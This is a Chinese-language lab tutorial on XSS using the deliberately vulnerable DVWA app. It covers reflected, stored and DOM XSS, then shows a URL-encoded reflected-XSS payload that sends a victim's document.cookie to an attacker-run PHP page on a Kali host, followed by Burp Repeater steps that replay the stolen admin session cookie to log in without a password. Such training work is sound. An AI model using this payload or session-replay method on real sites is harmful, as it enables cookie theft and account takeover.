实战-窃取用户 Cookie 信息并实现无账号登录(DVWA)
1 XSS 跨站脚本攻击
1.1 XSS 跨站脚本攻击介绍
跨站脚本攻击英文全称为(Cross site Script)缩写为 CSS,但是为了和层叠样式表(Cascading Style
Sheet)CSS 区分开来,所以在安全领域跨站脚本攻击叫做 XSS
XSS 攻击简介
XSS 攻击通常指黑客通过往 Web 页面中插入恶意 Script 代码,当用户访问网页时恶意代码在用户的
浏览器中被执行,从而劫持用户浏览器窃取用户信息。
1、黑客加在特定 web 页面 index.html 中,加入 XSS 脚本。
2、用户访问 index.html,会加载 XSS 脚本
3、XSS 脚本把用户的会话 cookie 信息发给黑客
4、黑客使用用户的信息进行恶意操作
1.2 XSS 跨站脚本攻击分类
XSS 脚本分为下面三类
第一种类型:反射型 XSS
第二种类型:存储型 XSS
第三种类型:DOM 型 XSS
第一种类型:反射型 XSS
反射型 XSS 又称之为非持久型 XSS,黑客需要通过诱使用户点击包含 XSS 攻击代码的恶意链接,然
后用户浏览器执行恶意代码触发 XSS 漏洞。
诱使用户点,如下:
sex666.com/hu.html
第二种类型:存储型 XSS
存储型 XSS 会把用户输入的数据存储在服务器端,这种 XSS 可以持久化,而且更加稳定。
比如黑客写了一篇包含 XSS 恶意代码的博客文章,那么访问该博客的所有用户他们的浏览器中都会执
行黑客构造的 XSS 恶意代码,通常这种攻击代码会以文本或数据库的方式保存在服务器端,所以称之为存
储型 XSS。
第三种类型:DOM 型 XSS
DOM 概述:HTML DOM 定义了访问和操作 HTML 文档的标准方法。
DOM 将 HTML 文档表达为树结构。HTML DOM 树结构如下:
DOM 型 XSS 并不根据数据是否保存在服务器端来进行划分,从效果来看它属于反射性 XSS,但是因
为形成原因比较特殊所以被单独作为一个分类,通过修改 DOM 节点形成的 XSS 攻击被称之为 DOM 型
XSS。
XSS 跨站脚本攻击原理
2.1反射型 XSS 原理
我们来演示一下它的工作原理。这个功能类似一个留言板,输入信息后下面会增加对应的信息。
点击 submit 按钮,查 URL 链接:
http://www.web.com/dvwa/vulnerabilities/xss_r/?name=123#
根据回显信息判断出,显示的文本内容是 Hello $ name。我们输入的信息被存放在$ name 变量中。
我们添加一条 JavaScript 代码获取 cookie
或:
可以看到我们提交的文本信息被浏览器执行了,显示出了我们的 cookie 信息。
可以看到我们提交的文本信息被浏览器执行了,显示出了我们的 cookie 信息。说明此网站有 XSS 漏洞!
2.2存储型 XSS 原理
存储型 XSS 的优势在于恶意代码被存储到服务器上,比如我们在论坛发帖的过程中嵌入了 XSS 攻击
代码,当我们发布的帖子被用户浏览访问时就可以触发 XSS 代码。
Name:123
Message:
一个站点,能写入
3 实战-窃取用户 Cookie 信息保存到远程服务器
3.1 在 kali 上构建 Web 站点接收 Cookie
先启动 apache 服务
[email protected]:~# service apache2 start
[email protected]:~# cd /var/www/html/
新建用于接收 Cookie 信息的 php 页面
[email protected]:/var/www/html# vim web.php
注:页面中创建 cookie 变量,然后将 cookie 变量写入 cookie.txt
修改网页的权限:
[email protected]:/var/www/html# ps -axu | grep apache #查看运行 apache 进程的用户名
[email protected]:/var/www/html# chown www-data:www-data web.php
[email protected]:/var/www/html# touch cookie.txt #创建存 cookie 的文件
[email protected]:/var/www/html# chown www-data:www-data cookie.txt
3.2构建 URL
利用 xss 反射漏洞进行攻击
我们接收 Cookie 的 Url 为 http://172.168.1.22/web.php
构建 XSS payload
Payload 说明:
JavaScript 可以使用 document.cookie 属性来创建 、读取、及删除 cookie。
document.location #用于跳转页面
http://172.168.1.22/web.php?cookie=’+document.cookie #传递 cookie 参数到web.php
完整的 URL
http://192.168.0.104/dvwa/vulnerabilities/xss_r/?name=
但是通过这样访问,因为 url 中直接有“js 脚本”有时服务器会拒绝,不成功的。所以我们需要对payload 进行 URL 加密
替换为 URL 编码的链接为:
http://192.168.0.104/dvwa/vulnerabilities/xss_r/?name=%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%31%37%32%2e%31%36%38%2e%31%2e%32%32%2f%77%65%62%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
注:这个加密链接想直接访问,必须提前登录上 DVWA 链接。
3.3 在物理机上进行用户访问
我们先在物理机上进行登录否则是没有 cookie 信息的
将 DVWA 的安全级别调为 Low,因为每次登录安全级别都会重置,需要手动设置为 Low
使用黑客构造的链接进行访问
http://192.168.0.104/dvwa/vulnerabilities/xss_r/?name=%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%31%37%32%2e%31%36%38%2e%31%2e%32%32%2f%77%65%62%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
页面跳转到 kali
此时 Cookie 信息已经传入 web.php 中被写入到 cookie.txt
3.4 从 kali 站点中查看 Cookie 信息
[email protected]:~# cat /var/www/html/cookie.txt
3.5使用cookie实现普通账户登录
使用其他用户正常进行登录并开启 burpsuite 截断
打开 burpsuit,并开始截取数据
DVWA 中内置了一些其他用户,在 kali 系统中打开火狐浏览器,这里我们使用用户名:smithy 密
码:password 登录 DVWA
打开 burpsuit 放行第一个请求,因为该请求携带用户名和密码
将存在 Cookie 信息的请求发送到 Repeater 进行重放攻击
替换用户 Cookie 信息
将现在的普通用户的 cookie 信息替换成前期抓到的 admin cookie 信息
admin 的 cookie 信息是:
security=low; PHPSESSID=76uasri5i2no7hspk2kmke52t6
开始替换:
进入 repeater 中继中:
成功
点击 Show response in browser 在浏览器中打开
点击copy
在浏览器中打开
成功换为admin用户
3.6 使用cookie实现无账户和密码登录
首先随便输入一个错误的账号和密码
与前面一样放走第一个包,因为包含账户和密码,修改cookie
修改前
修改后
放包,显示200说明成功
点击 Show response in browser 在浏览器中打开
点击copy
在浏览器中打开
成功登录为admin